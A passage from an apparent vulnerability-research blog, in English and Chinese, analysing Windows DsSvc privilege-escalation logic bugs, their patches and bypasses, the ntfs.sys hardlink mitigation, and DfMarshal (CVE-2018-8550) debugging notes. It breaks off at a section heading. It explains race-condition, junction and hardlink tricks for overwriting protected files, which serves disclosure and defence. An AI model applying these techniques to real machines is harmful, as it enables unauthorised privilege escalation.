In this function, FileName is defined by the user. First, the parameters DesiredAccess and ShareMode will be checked. Then RpcImpersonateClient will be called to impersonate client and call CreateFile to open the file. DsSvc will delete the file after RevertToSelf.

Although DsSvc calls ImpersonateClient to open the file, which means that when I try to open a limit file, it will fail and return, but there is still have TOCTOU issue. Before calling CeateFile, you can create a junction to the user-controllable path, so CreateFile will succeed. After that, you can change the junction to a limit directory. It will invoke DeleteFile to delete limit file finally.

In the patch, Microsoft no longer uses DeleteFile but uses the FileDispositionInfo class of SetFileInformationByHandle to delete file. Thus, calling SetFileInformationByHandle refers to the file handle created by CreateFile instead of the file path. The final deletion is a normal file opened after ImpersonateClient.

else
  {
    v17 = v14;
    if ( !a5 || (v8 = DSUtils::GetFinalPathFromHandle(v13, a5), v8 >= 0) )
    {
      if ( !v17 )
      {
        FileInformation = 1;
        if ( !SetFileInformationByHandle(v13, FileDispositionInfo, &FileInformation, 1u) )
        {
          [...]
        }
      }
    }
    CloseHandle(v13);

My research has started...

After this vulnerability was exposed, I started my study on the logic vulnerability. One day, when I was chatting with my friend 0x9k, he talked about the complete full chain of 11 Android logical vulnerabilities used by MWRLab in Pwn2Own. Then I read MWRLab's slide about this full chain exploitation which they talked on CanSecWest.

There is a show in this slide about the tool jandroid that they use when finding android logic vulnerabilities.

2.PNG

After read about jandroid in slide, I came up with the idea that such this method can be used to finding logical vulnerabilities on Windows? The answer is yes.

I think I can assist the subsequent reverse engineering by parsing the path travesal of the sensitive operation on the RPC-related dll. I took some time to implement my idea. (Later in August 2019 Adam Chester published a blog post about his RPC parsing implementation idea)

I used James Forshaw's project NtApiDotNet when writing the parsing code. It can complete pre-working in my parsing framework, there is a class called NdrProcedureDefinition in NtApiDotNet, which plays a key role in RPC interface parsing, it can parse out of the RPC interface of the DCE syntax, I made a few modifications to the NdrProcedureDefinition part of the method, so that it can parse the RPC interface of the Ndr64 syntax, which may resolve more potential attack surfaces in the x64 system. (The figure below shows the analysis result of Chakra.dll which use Ndr64 syntax)

3.PNG

Here are two points to mention.
[+] The first is that almost all RPC dlls in Windows x64 systems use DCE syntax, but also contain a very small number of RPC dlls for Ndr64 syntax, such as Chakra.dll.
[+] And the second is that I am not find the way to parsing incoming parameter of RPC interface of Ndr64 syntax, so I can only parse the RPC interface function without parameters, but this does not affect sensitive operation path travesal parsing.

The following picture shows the logs of some of the path travesals after I run my parsing code. Actually, I found out some interesting path travesals in DsSvc after that time, but James Forshaw report most of them :).

4.PNG

Get down to business

In January 2019, Microsoft patched 5 DsSvc EoP Vulnerabilities reported by James Forshaw , there is a interesting patch in these 5 vulnerabilities which about the MoveFileInheritSecurity function, the vulnerability code is as follows:

__int64 __fastcall PolicyChecker::MoveFileInheritSecurity(const WCHAR *lpNewFileName, const WCHAR *lpExistingFileName)
{
  [...]
  if ( MoveFileExW(lpNewFileName, lpExistingFileName, 3u) )
  {
    if ( !InitializeAcl(&pAcl, 8u, 2u) )
    {
LABEL_4:
      v6 = GetLastError();
      goto LABEL_10;
    }
    v6 = SetNamedSecurityInfoW(lpExistingFileName, SE_FILE_OBJECT, 0x20000004u, 0i64, 0i64, &pAcl, 0i64);
    if ( v6 )
      MoveFileExW(lpExistingFileName, lpNewFileName, 3u);
  }
  [...]
}

As the code show, DsSvc will set the DACL of the new file through SetNamedSecurityInfoW after the MoveFile. James forshaw create a hardlink to a limit file, and call RpcDSSMoveFromSharedFile interface, the DsSvc get the file path directly, but not check if the file is accessible, it will finally set the limit file's DACL.

Before patch:

__int64 __fastcall DSUtils::VerifyPathRoundTrip(wchar_t *Str2, wchar_t *a2)
{
  [...]
    v3 = CreateFileW(Str2, 0x80000000, 7u, 0i64, 4u, 0x80u, 0i64);
  if ( v3 != (HANDLE)-1i64 )
  {
    v2 = v3;
LABEL_6:
    v5 = DSUtils::VerifyPathFromHandle(v1, v2);
    goto LABEL_7;
  }
  [...]
}

After patch:

__int64 __fastcall DSUtils::VerifyPathRoundTrip(wchar_t *Str2, wchar_t *a2)
{
  [...]
  v5 = CreateFileW(Str2, 0x80000000, 7u, 0i64, 4u, 0x80u, 0i64);
  if ( v5 != (HANDLE)-1i64 )
  {
    v4 = v5;
LABEL_6:
    v7 = DSUtils::VerifyPathFromHandle(v3, v4);
    if ( v7 >= 0 )
      v7 = DSUtils::VerifyFileIdFromHandle(v2, v4);
    goto LABEL_8;
  }
  [...]
}

After patch, function DSUtils::VerifyFileIdFromHandle is added. The function contains a check for the hardlink. The BY_HANDLE_FILE_INFORMATION structure returned by calling the GetFileInformationByHandle function contains the member variable nNumberOfLinks. If it is greater than 1, it indicates that there is a symbolic link, and function will fail and return.

__int64 __fastcall DSUtils::GetFileIdFromHandle(HANDLE hFile, __int64 a2)
{
  [...]
  if ( GetFileInformationByHandle(v3, &FileInformation) )
    goto LABEL_19;
  [...]
LABEL_19:
  if ( FileInformation.nNumberOfLinks <= 1 )
  {
    v11 = (_WORD *)*v2;
    v2[1] = *v2;
    *v11 = 0;
  }
  [...]
}

The story is far from ending...

Obviously, Microsoft's patch still have problem. I found that there is still a time window between the end of the check of the symbolic link and the call to the MoveFileInheritSecurity function, which means that there is a TOCTOU vulnerability, I can make a hardlink to limit file after the symbolink check, so that when DsSvc calls the MoveFileInheritSecurity function, it will set the limit file's DACL finally. I later reported this vulnerability to Microsoft.

Microsoft's patch is very simple, they canceled RpcDSSMoveFromSharedFile and RpcDSSMoveToSharedFile two RPC interfaces of DsSvc in Windows 10 rs6 and later.

///After parse DsSvc RPC interface you can find out that 
///RpcDSSMoveFromSharedFile and RpcDSSMoveToSharedFile are canceled

[uuid("bf4dc912-e52f-4904-8ebe-9317c1bdd497"), version(1.0)]
interface intf_bf4dc912_e52f_4904_8ebe_9317c1bdd497 {
    HRESULT RpcDSSCreateSharedFileToken( handle_t p0,  [In] wchar_t[1]* p1,  [In] struct Struct_0* p2,  [In] /* ENUM16 */ int p3,  [In] /* ENUM16 */ int p4,  [Out] wchar_t** p5);
    HRESULT RpcDSSGetSharedFileName( handle_t p0,  [In] wchar_t[1]* p1,  [Out] wchar_t** p2);
    HRESULT RpcDSSGetSharingTokenInformation( handle_t p0,  [In] wchar_t[1]* p1,  [Out] wchar_t** p2,  [Out] wchar_t** p3,  [Out] /* ENUM16 */ int* p4);
    HRESULT RpcDSSDelegateSharingToken( handle_t p0,  [In] wchar_t[1]* p1,  [In] struct Struct_1* p2);
    HRESULT RpcDSSRemoveSharingToken( handle_t p0,  [In] wchar_t[1]* p1);
    HRESULT RpcDSSOpenSharedFile( handle_t p0,  [In] wchar_t[1]* p1,  [In] int p2,  [Out] long* p3);
    HRESULT RpcDSSCopyFromSharedFile( handle_t p0,  [In] wchar_t[1]* p1,  [In] wchar_t[1]* p2);
    HRESULT RpcDSSRemoveExpiredTokens();
}

The old version still exists these two interfaces. In the old version, Microsoft's patch is also very simple. The PolicyChecker::MoveFileInheritSecurity function is directly deleted, and DsSvc use another method for file copy. I will share this method later.

Other attack surfaces

In my RPC parsing log, I noticed another RPC interface, DSSCopyFromSharedFile, which calls the CopyFile function to copy file to a controllable path.

__int64 __fastcall DSSCopyFromSharedFile(const unsigned __int16 *a1, wchar_t *a2)
{
  [...Check File...]
  if ( !CopyFileW(*(LPCWSTR *)(v10 + 184), v4, 0) )
  {
    [...]
  }
  [...]
}

This vulnerability is very obvious, although DsSvc checked the permissions of the copied target file before CopyFile, I can still use race condition to link the file to the limit file after checking the target file permissions, and finally copy the shared file to limit file. In this function, the shared file can be specified by the user, so it is easy to write the payload into the file under system32.

When I reported this vulnerability, Microsoft did not award bounty for the vulnerability because Microsoft introduced a mitigation for hardlink. Whether normal user have control permission for the target file, if not, the hard link cannot be created, that is, the hardlink cannot be used by normal user in rs6 and WIP.

DsSvc security feature bypass

After receiving the reply from Microsoft, I made a quick review on the DsSvc service code again and found a very interesting place. In DsSvc, it will protect the folder where the target file is to be operated. Create a lock file to prevent this folder from being mounted to another directory. The function that implements this security feature is DSUtils::DirectoryLock::Lock. The function code is as follows:

__int64 __fastcall DSUtils::DirectoryLock::Lock(signed __int64 this, const unsigned __int16 *a2)
{
  [...]
  v20 = CreateFileW(v19, 0x80000000, 7u, 0i64, 4u, 0x4000100u, 0i64);
  [...]
}

The function calls CreateFile to create the lock file. I found that the lock file inherits the security descriptor of the parent directory, so actually, I have full control on lock file. It means I can delete the lock file after the lock file is created and after that I mount the directory to limit directory(the directory will be empty after I delete file). This way, even if I don't use hardlink, I can finally call CopyFile to copy the payload to a limit file in the limit directory.

The story is still going on

Microsoft finally patched vulnerability I report. In CopyFromSharedFile, Microsoft use a new function DSUtils::CopyFileWithProgress with the following code:

__int64 __fastcall DSUtils::CopyFileWithProgress(BOOL *this, DSUtils *a2, DSUtils *a3, const unsigned __int16 *a4)
{
   DSUtils::OpenFile((const WCHAR *)a2, (const unsigned __int16 *)0x80000000i64, 7u, 0, &hObject);
   v7 = DSUtils::OpenFile((const WCHAR *)a3, (const unsigned __int16 *)0x80000000i64, 3u, 0, &pbCancel);
   [...]
   DSUtils::IsHardLinkFile(pbCancel, &vars0);
   [...]
   v8 = DSUtils::GetFinalPathFromHandle(v7, (__int64)&lpData);
   if ( v8 >= 0
        && !CopyFileExW(
           (LPCWSTR)a2,
           (LPCWSTR)a3,
           (LPPROGRESS_ROUTINE)CopyFileProgressRoutine,
           lpData,
           (LPBOOL)dwCopyFlags,
           0) )
   [...]     
}

In the patch, Microsoft not only checks whether the file is hardlink, but also uses CopyFileExW function. This function calls a callback function CopyFileProgressRoutine when copying the file. The callback function will check if the target file path is the same as before the IsHardLinkFile check.

signed __int64 __fastcall CopyFileProgressRoutine(LARGE_INTEGER TotalFileSize, LARGE_INTEGER TotalBytesTransferred, LARGE_INTEGER StreamSize, LARGE_INTEGER StreamBytesTransferred, DWORD dwStreamNumber, DWORD dwCallbackReason, HANDLE hSourceFile, HANDLE hDestinationFile, LPVOID lpData)
{
  [...]
  v9 = DSUtils::GetFinalPathFromHandle(hDestinationFile, (__int64)&Str2);
    if ( v9 >= 0 && _wcsicmp((const wchar_t *)lpData, Str2) )
  [...]
}

Is it really over?

After I analyze Microsoft's patch, I sent an email to Microsoft to confirm whether they fixed the problem I reported later, that is, the problem about lock file created. At that time, my suggestion was to create a lock file that can not be controlled by normal users. This way the user cannot delete the lock file and mount the current directory to another directory. Microsoft confirmed that it had fixed the previous problem, but they may did not understand my suggestion.

Although Microsoft added multiple checks, it can be found that Microsoft has finished checking the target file when it calls DSUtils::OpenFile to open the file and the callback function CopyFileProgressRoutine compares the file path before and after, so there is a very obvious issue:

If I still have full control over the lock file, I can still bypass the check in another way, James Forshaw's symboliclink-testing-tools introduce a method, this way it mounts the directory to the root directory of the namespace, and then links the named object to other files. This method will cause the file path to be resolved to other file when NT parsing the file path. Instead of setting the symbolic link through the SetFileInformation method, the advantage of this method is that the target file parsed when calling GetFileInformationByHandle is the target file, so the member variable nNumberOfLinks is still 1, you can easily bypass the IsHardlinkFile check.

Therefore, you can link file to other file in this way before OpenFile. After OpenFile, including the GetFinalPathNameByHandle in the callback function, they all will be parsed to the same path. Therefore, the patch is finally bypassed, and the payload file can still be copied to the limit file by CopyFile.

last of the last...

Microsoft released a new patch in November 2019. Finally, Microsoft deleted the DirectoryLock function and the MoveFileInheritSecurity function I mentioned earlier, and used a new method DSUtils::OpenFileAlways to open the file and return the file handle which will be used in DSUtils::CopyFileWithProgress, it will opened until the function return. So, when the file is opened, the file no longer can be deleted and the mount point can not be created to other directory. Before CopyFile, the file directory to be copied is parsed by the GetFileInformationByHandle function.

///Instead of file path, DsSvc use file handle as incoming parameter

DSUtils::CopyFileWithProgress(v5, (const unsigned __int16 *)hObject, hFile, (void *)v19);
{
  [...]
  DSUtils::GetFinalPathFromHandle(hObject, (__int64)lpExistingFileName);
  [...]
  DSUtils::GetFinalPathFromHandle(hFile, (__int64)lpNewFileName);
  [...]
  DSUtils::IsHardLinkFile(hFile, dwCopyFlags, v8);
  [...]
  else if ( !CopyFileExW(
                     lpExistingFileName[0],
                     lpNewFileName[0],
                     CopyFileProgressRoutine,
                     v4,
                     (LPBOOL)&dwCopyFlags[1],
                     0) )
  [...]
}

And also, DsSvc uses ImpersonateClient to make sure the target file is an accessible file.

 v6 = AutoImpersonate<1>::ImpersonateClient(&v39);
 [...]
 v6 = DSUtils::OpenFileAlways(lpFileName, Str, (unsigned __int64)&hFile);
 [...]
 if ( (_DWORD)v39 )
   RpcRevertToSelf();

Similarly, Microsoft has rewritten the CopyFileProgressRoutine callback function. In the function, DsSvc will compare the source file and target file with the FilePath and the FileID.

signed __int64 __fastcall CopyFileProgressRoutine(LARGE_INTEGER TotalFileSize, LARGE_INTEGER TotalBytesTransferred, LARGE_INTEGER StreamSize, LARGE_INTEGER StreamBytesTransferred, __int64 dwStreamNumber, __int64 dwCallbackReason)
{
 [...]
 v7 = DSUtils::GetFileIdFromHandle(hFile);
 [...]
 v7 = DSUtils::GetFileIdFromHandle((HANDLE)dwStreamNumber);
 [...]
 v7 = DSUtils::GetFinalPathFromHandle(hFile, (__int64)&v33);
 [...]
 v7 = DSUtils::GetFinalPathFromHandle((HANDLE)dwStreamNumber, (__int64)&v36);
 [...]
 if ( (unsigned int)utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::compare(
                             dwCallbackReason,
                             &v27) )
 [...]
 if ( (unsigned int)utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::compare(
                             dwCallbackReason + 64,
                             &v30) )
 [...]
 if ( (unsigned int)utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::compare(
                             dwCallbackReason + 32,
                             &v33) )
 [...]
 if ( (unsigned int)utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::compare(
                             dwCallbackReason + 96,
                             &v36) )
 [...]
}

In the old version, MoveFromSharedFile and MoveToSharedFile also use CopyFileWithProgress to move files. The story about DsSvc ends here.

Microsoft Hardlink缓解机制简单分析

7 June 2019 at 16:00

Author: k0shl of 360 Vulcan Team


简述


微软在Insider Preview引入了一个新的缓解机制来阻止普通用户创建硬链接(CreateHardlink),在逻辑漏洞的利用中,hardlink是一个非常实用且便捷的方法,当一个高完整性级别进程对低权限文件操作的时候(这里所谓低权限泛指normal user或更低权限用户可以完全控制的文件),可以利用hardlink将低权限文件链接到高权限文件(高权限是指需高权限例如SYSTEM操作的文件,比如C:\Windows目录下的绝大多数文件及子目录文件),从而会使高权限进程处理高权限文件(比如改变DACL,写入,创建等)这里简述一下利用hardlink的逻辑漏洞利用方法。

关于应用到hardlink技巧的漏洞可以参考Project Zero的James Forshaw的历史漏洞,他提交的逻辑类型漏洞中很多都应用到了hardlink的利用方法。

PS: 文中的代码示例均来自Insider preview(build 18898.1000),除了部分源码展示出处有单独说明。


Hardlink review


关于hardlink的创建可以参考James Forshaw的项目symboliclink-testing-tools (https://github.com/googleprojectzero/symboliclink-testing-tools),通过调用NtSetInformationFile设置文件的FileLinkInformation的属性将指定文件链接到目标文件上。

当然,符号链接曾经也是用来sandbox escape的有效手段,在AppContainter(或者低完整性级别进程中,例如Low Integrity)中,许多权限操作需要通过medium integrity进程来帮忙完成,这样可以通过一个AC可以操作的目录文件,硬链接到高权限文件,再利用Medium integrity进程来完成对高权限文件的操作,但微软加入了针对这种方法的Mitigation,如果是在AppContainer中调用NtSetInformationFile,会调用RtlIsSandboxToken检查进程Token,若在沙盒中,则设置需求的访问权限。其实现在ntoskrnl!NtSetInformationFile函数中:

    if ( a5 == 0xB || a5 == 0x48 )// 0xB和0x48都是FileLinkInformation
    {
      memset(&Dst, 0, 0x20ui64);
      SeCaptureSubjectContextEx(v6, *(_QWORD *)(v6 + 544), &Dst);
      v65 = RtlIsSandboxedToken(&Dst, v7);//检查沙盒Token
      SeReleaseSubjectContext(&Dst);
      if ( v65 )
        v14 |= 0x100u;//设置需求的访问权限,必须要有写权限
    }

0xB和0x48是FileLinkInformation的enumerate,它最终会调用ntfs.sys中NtSetLinkInfo设置指定文件的硬链接到目标链接,其代码在ntfs!NtfsCommonSetInformation函数中实现

          case 0xB:
          case 0x48:
            v47 = v11;
            v34 = NtfsSetLinkInfo(v4, v73, v10, v9, v47);

ntfs.sys是Windows的文件系统驱动,其调用方法是在ntoskrnl的NT API中调用IofCallDriver,通过调用DriverObject的MajorFunction发送IRP封装,进入Ntfs!NtfsFsdSetInformation函数。

这里微软通过RtlIsSandboxedToken的方法阻止了AC调用硬链接,同样注册表和文件的符号链接,目录挂载等方法也是通过类似方法缓解。

关于这次Insider Preview之前微软通常会通过两种方法来修补这类逻辑漏洞,第一种是模拟客户端,通过调用RpcImpersonateClient来模拟客户端Token,也就是说在接下来的上下文中,进程将以Client的权限执行代码,最后通过RpcRevertToSelf恢复原进程权限。第二种是通过调用GetFileInformationByHandle获取文件的属性,在GetFileInformationByHandle参数中有一个数据结构。

typedef struct _BY_HANDLE_FILE_INFORMATION {
  DWORD    dwFileAttributes;
  FILETIME ftCreationTime;
  FILETIME ftLastAccessTime;
  FILETIME ftLastWriteTime;
  DWORD    dwVolumeSerialNumber;
  DWORD    nFileSizeHigh;
  DWORD    nFileSizeLow;
  DWORD    nNumberOfLinks;
  DWORD    nFileIndexHigh;
  DWORD    nFileIndexLow;
} BY_HANDLE_FILE_INFORMATION, *PBY_HANDLE_FILE_INFORMATION, *LPBY_HANDLE_FILE_INFORMATION;

其中nNumberOfLinks会获取文件符号链接的数量,如果大于1则证明当前文件存在符号链接,则阻止后续操作进行。

关于修补漏洞的方法这里不做过多讨论,读者可以通过对补丁的对比找到微软修补此类漏洞的方法。


Hardlink Mitigation


在Insider Preview(build 18898.1000)中(可能更早),微软引入了针对hardlink的缓解措施,阻止普通用户创建高权限文件的硬链接,其主要思路是检查FileObject中ContextControlBlock的Flags,若其Flags不满足要求(RequirAccess),则最终调用SeAccessCheck检查进程对硬链接目标的真实访问权限,从而阻止普通用户创建高权限文件硬链接。

其主要代码在ntfs!NtfsSetLinkInfo中

    if ( !(*(_WORD *)(a5 + 0x68) & 0x310) )     // mitigation
    {
      ……
      if ( !(unsigned __int8)TxfAccessCheck(
                               v6,
                               v90,
                               *(_QWORD *)(v5 + 168),
                               *(_QWORD *)(v6 + 200),
                               0,
                               0,
                               0x100u,
                               0,
                               0i64,
                               v91,
                               v99,
                               (__int64)&v156,
                               0i64,
                               &v157,
                               0i64) )
      {
        v24 = 0xC0000022;//Access Denied
        if ( !NtfsStatusDebugFlags )
          return (unsigned int)v24;
        v84 = 995043i64;
        goto LABEL_200;
      }

TxfAccessCheck函数会调用SeAccessCheckEx检查进程的访问权限(写入,修改,删除等),若权限不满足,则返回0xC0000022拒绝访问。

我们需要回溯到外层函数调用NtfsCommonSetInformation来追踪a5+0x68的值,a5的值来自NtfsSetLinkInfo函数的第五个参数,关于回溯过程这里我不再赘述,a5的值来自于IRP封装的CurrentStackLocation,NtfsCommonSetInformation的第一个参数是一个IRP结构的参数,我简化了NtfsCommonSetInformation的代码,来看一下参数的传递过程。

signed __int64 __usercall NtfsCommonSetInformation@<rax>(_IRP *a1@<rdx>, __int64 a2@<rcx>, signed __int64 a3@<r15>)
{
v6 = a1->Tail.Overlay.CurrentStackLocation;
v8 = *((_QWORD *)v6 + 0x30);
v11 = *(_QWORD *)(v8 + 0x20);
case 0xB:
case 0x48:
v47 = v11;
v34 = NtfsSetLinkInfo(v4, v73, v10, v9, v47);
}

那么这个参数到底是什么呢,我们需要从CurrentStackLocation看起,CurrentStackLocation是IRP中的一个非常关键的成员,包括IRP封装调用Driver的方法MajorFunction都在此结构中,其数据类型是_IO_STACK_LOCATION。我们可以在这个地方下断点,命中时查看_IO_STACK_LOCATION结构。

3: kd> p
Breakpoint 0 hit
Ntfs!NtfsSetLinkInfo:
fffff803`8434d694 4c8bdc          mov     r11,rsp
1: kd> dq ffffa402da68f010+b8 l1
ffffa402`da68f0c8  ffffa402`da68f3b0 
1: kd> dt _IO_STACK_LOCATION ffffa402`da68f3b0
ntdll!_IO_STACK_LOCATION
   +0x000 MajorFunction    : 0x6 ''
   +0x001 MinorFunction    : 0 ''
   +0x002 Flags            : 0 ''
   +0x003 Control          : 0xe0 ''
   +0x008 Parameters       : <anonymous-tag>
   +0x028 DeviceObject     : 0xffffa402`d68f6030 _DEVICE_OBJECT
   +0x030 FileObject       : 0xffffa402`dac559d0 _FILE_OBJECT

这里需要解释一下,我在调试时直接在NtfsSetLinkInfo下断点是因为其第二个参数就是IRP结构,所以可以通过IRP直接跟踪到第五个参数的值,这里IRP结构的地址是0xffffa402da68f010,而_IO_STACK_LOCATION在IRP+0xb8偏移位置。

可以看到_IO_STACK_LOCATION + 0x30位置是FileObject,这个FileObject就是硬链接目标文件的FileObject。

接着可以跟踪FileObject+0x20是什么。

1: kd> dx -id 0,0,ffffa402ddde7080 -r1 ((ntdll!_FILE_OBJECT *)0xffffa402dac559d0)
((ntdll!_FILE_OBJECT *)0xffffa402dac559d0)                 : 0xffffa402dac559d0 [Type: _FILE_OBJECT *]
    [+0x000] Type             : 5 [Type: short]
    [+0x002] Size             : 216 [Type: short]
    [+0x008] DeviceObject     : 0xffffa402d68cc860 : Device for "\Driver\volmgr" [Type: _DEVICE_OBJECT *]
    [+0x010] Vpb              : 0xffffa402d47fa3a0 [Type: _VPB *]
    [+0x018] FsContext        : 0xffffe388a39a11b0 [Type: void *]
    [+0x020] FsContext2       : 0xffffe388a6297370 [Type: void *]

可以看到,其偏移+0x20处的对象是FsContext2,其值为0xffffe388a6297370,而第五个参数就是FsContext2,而a5+0x68检查的就是FsContext2+0x68位置的Flag。

我们可以从泄露的windows nt源码中找到关于FsContext2结构的蛛丝马迹,windows nt源码kdexts\ntfs.c的第963行

        DumpCcb( (ULONG) File_Object.FsContext2, 1 );

Ntfs通过调用DumpFileObject函数中的DumpCcb函数获取ccb(ContextControlBlock),看下DumpCcb函数,ntfs.c的第806行:

VOID
DumpCcb (
    IN ULONG Address,//FileObject->FsContext2
    IN ULONG Options
)
{
……
pCcb = (PCCB) Address;
……
}

其实PCCB是上下文控制块,CCB中还包含了文件的信息,比如文件名。

1: kd> dt _FILE_OBJECT 0xffff800bbd4832c0 FsContext2
ntdll!_FILE_OBJECT
   +0x020 FsContext2 : 0xffffcc8a`116bde50 Void
1: kd> dq 0xffffcc8a116bde50
ffffcc8a`116bde50  00000003`00880709 00000000`00000841
ffffcc8a`116bde60  00000000`00380026 ffffcc8a`1320b4b0
1: kd> dc ffffcc8a`1320b4b0
ffffcc8a`1320b4b0  0057005c 006e0069 006f0064 00730077  \.W.i.n.d.o.w.s.
ffffcc8a`1320b4c0  0073005c 00730079 00650074 002e006d  \.s.y.s.t.e.m...
ffffcc8a`1320b4d0  006e0069 00000069 4134342d 31392d45  i.n.i

FileObject->FsContext2最终会直接被强制转换成PCCB对象,其实a5+0x68就是PCCB+0x68,这个值是由什么决定的呢?这需要经过一些逆向分析。这里我简述一下分析过程,首先,我们知道FsContext2的值来自于FileObject,而这些结构体都处于IRP封装中,在nt! NtSetInformationFile函数中:

    LODWORD(v32) = IopAllocateIrpExReturn(DeviceObject, DeviceObject->StackSize, (unsigned __int8)(v31 ^ 1), retaddr);// Create IRP
    v34 = v32;
    Irp = v32;
    if ( v32 )
{
……
*(_QWORD *)(v36 + 48) = v16;              // Get FileObject
……
}

函数会创建IRP结构,如果创建成功,则会为IRP结构赋初值,其中v36+0x30是FileObject,v16的值来自于v83,而v83的则是通过句柄表获取的object,仍然在nt!NtSetInformationFile中。

  v15 = ObReferenceObjectByHandle(Handle, v14, (POBJECT_TYPE)IoFileObjectType, v7, &v83, 0i64);
  v16 = v83;

这个值是通过FileHandle获取的,FileHandle则是外层传入的,在James Forshaw的代码中通过OpenFile获取Handle,其打开的Access定义为MAXIMUM_ALLOWED,就是以最大的允许权限打开文件。

最终我们跟踪到NtOpenFile函数中调用ntfs!NtfsSetCcbAccessFlags设置+0x68偏移位置的flag,其调用路径为

2: kd> k
 # Child-SP          RetAddr           Call Site
00 ffffca88`5a766e48 fffff807`52d32d20 Ntfs!NtfsSetCcbAccessFlags
01 ffffca88`5a766e50 fffff807`52d37382 Ntfs!NtfsCommonCreate+0x2080
02 ffffca88`5a767040 fffff807`4fa08829 Ntfs!NtfsFsdCreate+0x202
03 ffffca88`5a767270 fffff807`52045b3d nt!IofCallDriver+0x59
……
0c ffffca88`5a767980 fffff807`4fbdb3a5 nt!NtOpenFile+0x58
2: kd> p
Breakpoint 0 hit
Ntfs!NtfsSetCcbAccessFlags:
fffff807`52c47c90 4c8bdc          mov     r11,rsp
2: kd> r rdx
rdx=ffff800bc33b34e0
2: kd> dq ffff800bc33b34e0+b8 l1 // _IO_STACK_LOCATION
ffff800b`c33b3598  ffff800b`c33b3880
2: kd> dt _IO_STACK_LOCATION ffff800b`c33b3880 FileObject
ntdll!_IO_STACK_LOCATION
   +0x030 FileObject : 0xffff800b`c3d13670 _FILE_OBJECT
2: kd> dt _FILE_OBJECT 0xffff800b`c3d13670 FsContext2 FileName
ntdll!_FILE_OBJECT
   +0x020 FsContext2 : 0xffffcc8a`15611620 Void
   +0x058 FileName   : _UNICODE_STRING "\Windows\system.ini"
2: kd> dd 0xffffcc8a`15611620+68 l1
ffffcc8a`15611688  00000000

这里还未赋值,接下来跟踪到NtfsSetCcbAccessFlags如下上下文位置,具体代码如下

fffff807`52c47ce0 0fb74714        movzx   eax,word ptr [rdi+14h]
fffff807`52c47ce4 6623c2          and     ax,dx
fffff807`52c47ce7 66094168        or      word ptr [rcx+68h],ax

3: kd> dq ffff800bc65d22b0+14
ffff800b`c65d22c4  02000000`001200a9

可以看到FsContext2+0x68值来源于0x1200a9和0x1a7与运算的结果,最后的值为0xa1,这个值会最后在NtfsSetLinkInfo中判断,而0x1200a9实际上就是ACE AccessMask,0x1200a9表示文件对当前进程只有Read Permission,而FullControl则是0x1f01ff,如果将File变成normal user可控的文件就会发现。

2: kd> dd ffff800b`bf2a7510+0x14 l1
ffff800b`bf2a7524  001f01ff

因此最后0xa1和0x310进行与运算的结果是0x0。

1: kd> p
Ntfs!NtfsSetLinkInfo+0x212:
fffff807`52d4d8a6 b910030000      mov     ecx,310h
1: kd> p
Ntfs!NtfsSetLinkInfo+0x217:
fffff807`52d4d8ab 6641854d68      test    word ptr [r13+68h],cx
1: kd> dd r13+68 l1
ffffcc8a`167399c8  000000a1

最终会进入SeAccessCheck检查文件访问权限,从而阻止创建硬链接。感兴趣的读者可以尝试用windbg修改FsContext2->Flag的值令其与0x310与运算后值为1,则可以创建高权限文件的硬链接。

DfMarshal系列漏洞CVE-2018-8550调试记录

10 May 2019 at 16:00

Author: k0shl of 360 Vulcan Team


关于CVE-2018-8550(DfMarshal系列漏洞)


前段时间看了一下James forshaw关于DfMarshal的漏洞,在本子上记录了比较多的东西,于是写这篇博客总结一下,漏洞流程并不复杂,DfMarshal在对对象(object)进行散集(UnMarshal)的过程中,如果object通过聚合(Aggregation)的方式自定义列集(Marshal)方法,最终会导致高权限进程使用特定的Unmarshal方法,在这系列漏洞中即DfMarshal接口, DfMarshal调用自己的UnMarshal方法(来自coml2.dll)而非COM默认的Unmarshal方法(来自combase.dll)。

关于这一系列漏洞的成因可以参考james forshaw以及看雪-王cb的帖子,王cb用c++方法重构了james forshaw关于DfMarshal中DuplicateHandle条件竞争(TOCTOU)的漏洞攻击流程,两者都可以作为参考,王cb帖子中关于漏洞成因的逆向工程已经十分详尽,这里就不再赘述。

这里需要再说一下关于整个攻击的流程,首先通过COM方法向audiodg申请一个共享内存section,之后调用NtViewMapofSection方法将section handle映射到当前进程空间,之后将section写入sdfmarshalpackage的hmem成员,之后通过高权限进程(比如BITS)触发DfMarshal->Unmarshal最终导致权限提升。

在这一系列的漏洞中,我比较关注的问题在于james forshaw运用的共享内存的方法,其实在james forshaw去年的slide中已经描述了section/file mapping容易出的问题,仔细阅读wrk源码,file mapping本身也属于section的一部分,关于createsection的实现可以阅读wrk源码base\ntos\mm\creatsec.c中MmCreateSection的实现,section有两种类型,一种是paging file,另一种是file mapping。

关于调试这个漏洞的过程中碰到的有趣故事是我这篇博客的主要内容。


1. 关于”Undocumentation API” NtQuerySection的故事


在王cb的帖子中提到了一个未文档化的API NtQuerySection,帖子中说他利用这种方法获取Section句柄,其实NtQuerySection并非真正的未文档化的API,在WRK中包含关于NtQuerySection的实现逻辑,代码部分实现在ntos\mm\querysec.c第27行,NtQuerySection的函数原型如下:

NTSTATUS
NtQuerySection(
    __in HANDLE SectionHandle,
    __in SECTION_INFORMATION_CLASS SectionInformationClass,
    __out_bcount(SectionInformationLength) PVOID SectionInformation,
    __in SIZE_T SectionInformationLength,
    __out_opt PSIZE_T ReturnLength
)

其实函数内部逻辑非常简单,其关键部分在64-237行,主要是调用ObReferenceObjectByHandle获取SECTION数据结构,再根据SectionInformationClass的值获取相应的成员变量内容,保存在buffer里交给SectionInformation指针返回给用户,来看一下SECTION数据结构:

typedef struct _SECTION {
    MMADDRESS_NODE Address;
    PSEGMENT Segment;
    LARGE_INTEGER SizeOfSection;
    union {
        ULONG LongFlags;
        MMSECTION_FLAGS Flags;
    } u;
    MM_PROTECTION_MASK InitialPageProtection;
} SECTION, *PSECTION;

可以看到其中并不包含HANDLE,事实上通过NtQuerySection的代码逻辑可以看出其功能并不是获取section object的句柄,而且是通过句柄获取SECTION结构的诸如address,size等信息。因此王cb帖子中关于这个未文档化API作用的描述是有一些失误的,他的代码中也只是应用NtQuerySection获取audiodg.exe中section的大小判断sdfmarshalpackage中开辟的大小是否足够存放section。

而真正获取句柄的方法是通过NtQuerySystemInformaion直接读取句柄表中的objectype为section的句柄。


2.关于Audiodg.exe的故事


